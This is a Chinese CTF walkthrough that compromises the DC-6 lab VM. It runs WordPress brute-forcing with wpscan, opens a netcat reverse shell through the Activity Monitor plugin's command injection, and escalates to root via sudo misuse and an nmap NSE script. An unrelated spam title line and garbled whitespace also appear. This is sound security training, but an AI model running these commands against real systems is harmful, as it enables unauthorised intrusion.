職業(yè)生涯規(guī)劃大賽的意義短視頻seo系統(tǒng)
DC-6靶場(chǎng)下載:
https://www.five86.com/downloads/DC-6.zip
下載后解壓會(huì)有一個(gè)DC-3.ova文件,直接在vm虛擬機(jī)點(diǎn)擊左上角打開-->文件-->選中這個(gè).ova文件就能創(chuàng)建靶場(chǎng),kali和靶機(jī)都調(diào)整至NAT模式,即可開始滲透
首先進(jìn)行主機(jī)發(fā)現(xiàn):
arp-scan -l ??????????????????????????????????????????????????????
發(fā)現(xiàn)靶機(jī)ip為192.168.183.149
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:2b:e1, IPv4: 192.168.183.138
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.183.1 ??00:50:56:c0:00:08 ??????(Unknown)
192.168.183.2 ??00:50:56:fc:0d:25 ??????(Unknown)
192.168.183.149 00:0c:29:a5:b4:82 ??????(Unknown)
192.168.183.254 00:50:56:fe:ac:e6 ??????(Unknown)
Nmap掃描一下靶機(jī)ip:
nmap -sV -p- ?192.168.183.149 ?
-sV 代表掃描主要的服務(wù)信息
-p- 參數(shù)p是指定端口,后面的-代表所有端口。
得到報(bào)告:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-19 16:10 CST
Nmap scan report for 192.168.183.149
Host is up (0.00072s latency).
Not shown: 65533 closed tcp ports (reset)
PORT ??STATE SERVICE VERSION
22/tcp open ?ssh ????OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open ?http ???Apache httpd 2.4.25 ((Debian))
MAC Address: 00:0C:29:A5:B4:82 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
嘗試打開網(wǎng)站,但是發(fā)現(xiàn)打不開192.168.183.149,會(huì)重定向去http://wordy/,這里就跟DC-2靶場(chǎng)一樣需要修改host文件了,在物理機(jī)訪問網(wǎng)頁(yè)的話只需修改物理機(jī)上的就好
Windows的host文件位置:
C:\Windows\System32\drivers\etc\host
在最下面添加一行
192.168.183.149(靶機(jī)ip)?wordy
再次訪問就發(fā)現(xiàn)能夠成功訪問網(wǎng)頁(yè)
Dirsearch掃描目錄:
dirsearch ?-u 192.168.183.149 -e * -i 200
Output File: /home/kali/reports/_192.168.183.149/_23-12-19_16-16-43.txt
Target: http://192.168.183.149/
[16:16:43] Starting: ??????????????????????????????????????????????????
[16:17:04] 200 - ??18KB - /index.php
[16:17:06] 200 - ???7KB - /license.txt
[16:17:13] 200 - ???3KB - /readme.html
[16:17:23] 200 - ???0B ?- /wp-content/
[16:17:23] 200 - ???0B ?- /wp-config.php
[16:17:23] 200 - ?517B ?- /wp-admin/install.php
[16:17:23] 200 - ???0B ?- /wp-cron.php
[16:17:23] 200 - ???4KB - /wp-includes/
[16:17:23] 200 - ???1KB - /wp-login.php
發(fā)現(xiàn)/wp-login.php有個(gè)登錄界面,但是這里burpsuite爆破密碼爆破了很久都沒有動(dòng)靜
Whatweb指紋識(shí)別:
whatweb ?-v 192.168.183.149 ?
得到一個(gè)總結(jié)
HTTP Headers:
????????HTTP/1.1 301 Moved Permanently
????????Date: Tue, 19 Dec 2023 08:27:17 GMT
????????Server: Apache/2.4.25 (Debian)
????????X-Redirect-By: WordPress
????????Location: http://wordy/
????????Content-Length: 0
????????Connection: close
????????Content-Type: text/html; charset=UTF-8
WhatWeb report for http://wordy/
Status ???: 200 OK
Title ????: Wordy – Just another WordPress site
IP ???????: 192.168.183.149
Country ??: RESERVED, ZZ
Summary ??: Apache[2.4.25], HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], JQuery[1.12.4], MetaGenerator[WordPress 5.1.1], PoweredBy[WordPress], Script[text/javascript], UncommonHeaders[link], WordPress[5.1.1] ?
看到Wordpress可以用wpscan掃描器,它可以實(shí)現(xiàn)獲取Wordpress站點(diǎn)用戶名,獲取安裝的所有插件、主題,以及存在漏洞的插件、主題,并提供漏洞信息。同時(shí)還可以實(shí)現(xiàn)對(duì)未加防護(hù)的Wordpress站點(diǎn)暴力破解用戶名密碼。
wpscan常用參數(shù)
–update 更新到最新版本
–url | -u 要掃描的WordPress站點(diǎn).
–force | -f 不檢查網(wǎng)站運(yùn)行的是不是WordPress
–enumerate | -e [option(s)] 枚舉
wpscan掃描
1、掃描WordPress漏洞、版本、ip等信息
wpscan --url http://www.xxxxx.top/
2、掃描枚舉wordpress用戶
wpscan --url http://www.xxxxx.top/ --enumerate u
3、掃描主題
wpscan --url http://www.xxxxx.top/ --enumerate t
4、掃描插件漏洞
wpscan --urlhttp://www.xxxxx.top/ --enumerate p
5、使用WPScan進(jìn)行暴力破解在進(jìn)行暴力破解攻擊之前,我們需要?jiǎng)?chuàng)建對(duì)應(yīng)的字典文件。輸入下列命令:
wpscan --url https://www.xxxxx.top/-e u --wordlist /root/桌面/password.txt
6、暴力破解用戶密碼
wpscan --url dc-2 user.txt -P passwd.txt
7、wpscan --ignore-main-redirect --url 192.168.1.8 --enumerate u --force
這里用:
wpscan --url http://wordy/ --enumerate u
得到五個(gè)用戶名,存進(jìn)usr.txt里
在網(wǎng)頁(yè)的提示中,作者告訴我們用字典來破解的話需要五年的時(shí)間,估計(jì)我的電腦支撐不了那么久!把kali自帶字典 rockyou.txt中包含k01的密碼導(dǎo)出來生成 一本字典的話會(huì)節(jié)省很多時(shí)間。
cat /usr/share/wordlists/rockyou.txt|grep k01 > passwords.txt
cat 表示讀取并輸出到終端。
| 表示用“|”前面輸出的數(shù)據(jù)給“|”后面命令做處理。
grep 表示用正則表達(dá)式匹配數(shù)據(jù)
> 表示將輸出數(shù)據(jù)寫入“>”后面文件。
這一句就是讀取rockyou.txt的數(shù)據(jù)給grep來匹配,匹配到包含k01的數(shù)據(jù)就寫入passwords.txt中。
不過我在這里遇到了一個(gè)小問題,找不到rockyou.txt,順著路徑追下去發(fā)現(xiàn)我/usr/share/wordlists下的是rockyou.txt.gz而不是.txt,這種情況解壓就行了,在文件里解壓會(huì)提示沒有權(quán)限,所以去到命令行用root權(quán)限在該路徑下解壓
現(xiàn)在用戶名文件和密碼字典文件都有了,可以開始暴力破解了。
wpscan --url wordy -U user.txt -P passwords.txt
得到了一組藏狐密碼:
賬戶:mark ?
密碼:helpdesk01
網(wǎng)頁(yè)登錄mark用戶,
我們發(fā)現(xiàn)一個(gè)有漏洞的插件Activity monitor,其4.7.11版本存在rce
在tool的位置抓包ip,點(diǎn)擊lookup
利用管道符執(zhí)行l(wèi)s /返回了根目錄
把ls /換成反彈shell:
nc 192.168.183.138 666 -e /bin/bash
kali打開監(jiān)聽:
nc -lvvp 666
然后回來發(fā)包,kali監(jiān)聽成功,進(jìn)入交互式shell:
python -c "import pty;pty.spawn('/bin/bash')"
瀏覽home文件:
在/home/mark/stuff目錄下發(fā)現(xiàn)things-to-do.txt文件,
cat?/home/mark/stuff/things-to-do.txt
其中有一組用戶和密碼:
用戶名:graham
密碼:GSo7isUM1D4
換個(gè)賬戶遠(yuǎn)程登錄graham試試
ssh graham@192.168.183.149
跳轉(zhuǎn)到graham用戶后,再嘗試一次有沒有suid提權(quán)或其他一些敏感文件。執(zhí)行命令:
sudo -l
返回報(bào)告
Matching Defaults entries for graham on dc-6:
????env_reset, mail_badpass,
????secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User graham may run the following commands on dc-6:
????(jens) NOPASSWD: /home/jens/backups.sh
我們發(fā)現(xiàn)graham可以用jens的身份執(zhí)行 /home/jens/backups.sh,我們嘗試把 /bin/bash追加到這個(gè)文件,
cd /home/jens
echo '/bin/bash' >> backups.sh
然后用jens的身份執(zhí)行這個(gè)文件,
sudo -u jens ./backups.sh
此時(shí)會(huì)打開一個(gè)具有jens權(quán)限的shell。
nmap提權(quán)
這次切換到了jens用戶,我們?cè)俅尾榭匆幌驴刹豢梢允褂胹uid提權(quán),執(zhí)行 sudo -l查看一下有沒有可以提權(quán)的命令。
sudo -l
Matching Defaults entries for jens on dc-6:
????env_reset, mail_badpass,
????secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jens may run the following commands on dc-6:
????(root) NOPASSWD: /usr/bin/nmap
可以用root權(quán)限執(zhí)行nmap,nmap在早期版本是可以用來提權(quán)的,我們嘗試?yán)胣map提權(quán)。將提權(quán)代碼 os.execute("/bin/sh")寫入一個(gè)文件中。
echo 'os.execute("/bin/sh")' > shell.nse
然后以root的權(quán)限用nmap執(zhí)行這個(gè)腳本:
sudo nmap --script=shell.nse
現(xiàn)在就已經(jīng)提權(quán)成功了,可以讀取最后的flag,不過有個(gè)問題好像看不見打出來的東西,但是命令確實(shí)能執(zhí)行,回車就行
cd /root
cat theflag.txt
成功得到flag!
jens@dc-6:~$ sudo -l
Matching Defaults entries for jens on dc-6:
??? env_reset, mail_badpass,
??? secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser jens may run the following commands on dc-6:
??? (root) NOPASSWD: /usr/bin/nmap
jens@dc-6:~$ echo 'os.execute("/bin/sh")'>shell.nse
jens@dc-6:~$ sudo nmap --script=shell.nseStarting Nmap 7.40 ( https://nmap.org ) at 2023-12-19 21:17 AEST
# # /bin/sh: 2:cd: not found
root@dc-6:/home/jens# backups.sh? backups.tar.gz? shell.nse
root@dc-6:/home/jens# root@dc-6:~# total 4
-rw-r--r-- 1 root root 541 Apr 26? 2019 theflag.txt
root@dc-6:~# theflag.txt
雖然看不到自己打的命令,但是命令的輸出會(huì)出現(xiàn)在后面,正常回車就行